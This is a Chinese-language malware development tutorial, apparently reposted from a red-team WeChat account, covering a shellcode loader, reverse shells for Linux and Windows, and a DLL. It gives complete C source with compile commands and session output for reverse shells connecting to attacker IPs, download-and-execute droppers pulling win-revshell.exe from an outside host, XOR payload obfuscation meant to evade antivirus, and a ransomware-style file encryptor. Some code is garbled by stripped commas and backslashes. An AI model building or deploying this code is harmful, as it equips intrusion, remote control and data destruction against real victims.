【MalDev-01】基础入门

admin 2024年11月20日21:56:18评论31 views字数 8774阅读29分14秒阅读模式

01-简单介绍

本课程中提及的恶意软件开发主要使用C/C++语言,例如:

  // 申请内存
  memory_for_payload = VirtualAlloc(0, actual_payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // 将payload移入内存
  RtlMoveMemory(memory_for_payload, actual_payload, actual_payload_length);

  // 更改内存可执行权限
  operation_status = VirtualProtect(memory_for_payload, actual_payload_length, PAGE_EXECUTE_READ, &previous_protection_level);
  if ( operation_status != 0 ) {
    // 执行payload
    thread_handle = CreateThread(00, (LPTHREAD_START_ROUTINE) memory_for_payload, 000);
    WaitForSingleObject(thread_handle, -1);
  }
  return 0;

这是一个典型的执行shellcode的代码,后面会多次用到。

02-反弹shell

反弹shell是一个最基础的功能

linux下反弹shell的c代码如下:

//引入头文件
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main () {
  // 设置反弹shell的IP地址
  const char* attacker_ip = "10.9.1.6";

  // 结构化IP地址
  struct sockaddr_in target_address;
  target_address.sin_family = AF_INET;
  target_address.sin_port = htons(4444);
  inet_aton(attacker_ip, &target_address.sin_addr);

  // 创建socket
  int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, 0);

  // 连接
  connect(socket_file_descriptor, (struct sockadr *)&target_address, sizeof(target_address));
  // 把标准输入、输出、报错信息重定向到socket
  for (int index = 0; index < 3; index++) {
    // dup2(socket_file_descriptor, 0) - link to standard input
    // dup2(socket_file_descriptor, 1) - link to standard output
    // dup2(socket_file_descriptor, 2) - link to standard error
    dup2(socket_file_descriptor, index);
  }
  // 调用系统shell
  execve("/bin/sh"NULLNULL);
  return 0;
}

编译

gcc linux-revshell.c -o linux-revshell

运行后在本地4444端口获得shell

nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.136.129from (UNKNOWN) [192.168.136.12945102
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),106(bluetooth),113(scanner),136(wireshark),137(kaboxer)
ls
linux-revshell
linux-revshell.c

windows反弹shell的c代码如下:

//引入头文件
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "w2_32")

// 初始化变量和结构体
WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;

int main(int argc, char* argv[]) {
  // 设置反弹shell的ip和端口
  char *attackerIP = "10.10.1.5";
  short attackerPort = 4444;

  // 初始化socket信息
  WSAStartup(MAKEWORD(22), &socketData);

  // 创建socket
  mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

  connectionAddress.sin_family = AF_INET;
  connectionAddress.sin_port = htons(attackerPort);
  connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);

  // 连接远程主机
  WSAConnect(mainSocket, (SOCKADDR*)&connectionAddress, sizeof(connectionAddress), NULLNULLNULLNULL);
  // 设置标准输入输出报错信息
  memset(&startupInfo, 0sizeof(startupInfo));
  startupInfo.cb = sizeof(startupInfo);
  startupInfo.dwFlags = STARTF_USESTDHANDLES;
  startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket;

  // 创建cmd.exe进程并重定向输入输出
  CreateProcess(NULL"cmd.exe"NULLNULL, TRUE, 0NULLNULL, &startupInfo, &processInfo);
  exit(0);
}

编译,kali下没有i686-w64-mingw32-g++可以使用i686-w64-mingw32-gcc代替

或者安装g++

sudo apt install mingw-*
i686-w64-mingw32-g++ win-revshell.c -o win-revshell.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

参数说明:

-o 输出

-lws2_32 链接Winsock库

-s 删除符号表和重新定位信息,减小生成文件大小

-ffunction-sections 告诉编译器将每个函数放入输出文件中它自己的部分中。这个标志通常与--gc-sections结合使用,以删除未使用的代码

-fdata-sections 与上面类似,指示编译器将每个全局变量放置到它自己的节中

-Wno-write-strings 告诉编译器在代码试图修改字符串文字时不要发出警告

-fno-exceptions 禁用异常处理支持,告诉编译器不要生成异常处理构造的代码,比如try-catch块

-fmerge-all-constants 合并常量,减小体积

-static-libstdc++ 静态链接c++标准库,不依赖环境的c库

-static-libgcc 静态链接c运行库,不依赖环境的c库

-fpermissive 放宽代码检查,允许不标准代码和不安全代码

编译后在windows10机器上运行可以获得shell(不免杀,过不了WD)

nc -nvlp 4444        
listening on [any] 4444 ...
connect to [192.168.136.129from (UNKNOWN) [192.168.136.13250400
Microsoft Windows [Version 10.0.17134.1]
(c) 2018 Microsoft Corporation. All rights reserved.

C:UsersadminDownloads>whoami
whoami
desktop-ur2g91tadmin

C:UsersadminDownloads>

03-WinApi调用

简单例子获得当前用户名:

#include <windows.h>
#include <stdio.h>
#include <lm.h>
int main() {
char username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
printf("current user is: %sn", username);
return 0;
}

编译

i686-w64-mingw32-g++ GetUserName.c -o GetUserName.exe -ladvapi32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

运行

C:UsersadminDownloads>GetUserName.exe
current user is: admin

后续开发中常用的WinApi有:

VirtualAlloc 申请内存,可用于开辟shellcode空间
VirtualProtect 修改保护,可执行
RtlMoveMemory 内存拷贝
CreateThread 创建线程

04-PE格式(exe和dll文件)

介绍PE格式,Dos头PE头等等,使用PE-bear查看PE格式,未发现有什么和课程内容有什么关联,后续有需要再看

【MalDev-01】基础入门

创建一个dll:

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE moduleHandle, DWORD actionReason, LPVOID reservedPointer) {
  switch (actionReason) {
  case DLL_PROCESS_ATTACH:
  MessageBox(
    NULL,
    "Hello from evil.dll!",
    "=^..^=",
    MB_OK
  );
  break;
  case DLL_PROCESS_DETACH:
  break;
  case DLL_THREAD_ATTACH:
  break;
  case DLL_THREAD_DETACH:
  break;
  }
  return TRUE;
}

编译

x86_64-w64-mingw32-g++ -shared -o dll.dll dll.c -fpermissive

生成一个dll,在加载的时候会弹出MessageBox

05-常见恶意软件行为

1-下载并执行

#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
URLDownloadToFile(NULL"http://192.168.136.129/win-revshell.exe""C:\temp\malware.exe"0NULL);
ShellExecute(NULL"open""C:\temp\malware.exe"NULLNULL, SW_SHOWNORMAL);
return 0;
}

编译

i686-w64-mingw32-g++ down.c -o down.exe -lurlmon -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

运行后在kali上获得shell,但是如果c盘下没有temp目录就可能不是执行成功,换成C:Userspublicmalware.exe更好

2-调用不同的API实现下载并执行,没看出有什么不用

#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
int main() {
URLDownloadToFile(NULL"http://192.168.136.129/win-revshell.exe""C:\Users\public\malware2.exe"0NULL);
WinExec("C:\Users\public\malware2.exe", SW_SHOW);
return 0;
}

编译

i686-w64-mingw32-g++ down2.c -o down2.exe -lurlmon -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

在windows上运行,可在kali上获得shell

3-xor加密payload

#include <windows.h>
#include <stdio.h>
// 实现XOR异或算法
void xor_encrypt_decrypt(char* input, char key) {
char* iterator = input;
while(*iterator) {
*iterator ^= key;
iterator++;
}
}
int main() {
char payload[] = "<MALICIOUS_PAYLOAD>";
printf("original payload: %sn", payload);
// 加密payload
xor_encrypt_decrypt(payload, 'K');
printf("encrypted payload: %sn", payload);
// 加密后可能就免杀了
// 要执行的时候再解密
xor_encrypt_decrypt(payload, 'K');
printf("decrypted payload: %sn", payload);
// 解密完成后,下面执行
// hack();
return 0;
}

编译

i686-w64-mingw32-g++ xor.c -o xor.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

在win上运行看下效果

C:UsersadminDownloads>xor.exe
original payload: <MALICIOUS_PAYLOAD>
encrypted payload: w


u
decrypted payload: <MALICIOUS_PAYLOAD>

异或加密两次就可以还原

4-勒索软件加密

#include <windows.h>
#include <wincrypt.h>

#pragma comment(lib, "crypt32.lib")

void encrypt_file(LPCSTR filename) {
  // buffer to hold the plaintext and the ciphertext
  BYTE buffer[1024];
  DWORD bytesRead, bytesWritten;

  // open the original file, and create the new file
  HANDLE originalFile = CreateFile(filename, GENERIC_READ, 0NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE newFile = CreateFile("encrypted", GENERIC_WRITE, 0NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  // Get a handle to the CSP
  HCRYPTPROV hProv;
  CryptAcquireContext(&hProv, NULLNULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);

  // Generate the session key
  HCRYPTKEY hKey;
  CryptGenKey(hProv, CALG_RC4, CRYPT_EXPORTABLE, &hKey);

  // Read the plaintext file, encrypt the buffer, then write to the new file
  while(ReadFile(originalFile, buffer, sizeof(buffer), &bytesRead, NULL)) {
    CryptEncrypt(hKey, 0, bytesRead < sizeof(buffer), 0, buffer, &bytesRead, sizeof(buffer));
    WriteFile(newFile, buffer, bytesRead, &bytesWritten, NULL);
  }

  // Clean up
  CryptReleaseContext(hProv, 0);
  CryptDestroyKey(hKey);
  CloseHandle(originalFile);
  CloseHandle(newFile);
}

int main() {
  encrypt_file("test.txt");
  return 0;
}

编译

i686-w64-mingw32-g++ encrypt_file.c -o encrypt_file.exe -lcrypt32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

运行后,同目录下test.txt被加密成encrypted

加微信拉群分享更多学习资料

【MalDev-01】基础入门

原文始发于微信公众号(高级红队专家):【MalDev-01】基础入门

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日21:56:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【MalDev-01】基础入门https://cn-sec.com/archives/3415686.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息